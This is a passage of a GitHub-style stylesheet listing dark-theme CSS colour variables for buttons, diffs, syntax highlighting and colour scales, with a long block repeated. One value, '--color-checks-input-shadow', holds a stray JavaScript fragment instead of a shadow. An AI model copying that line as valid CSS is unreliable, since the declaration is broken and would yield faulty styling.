#0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: 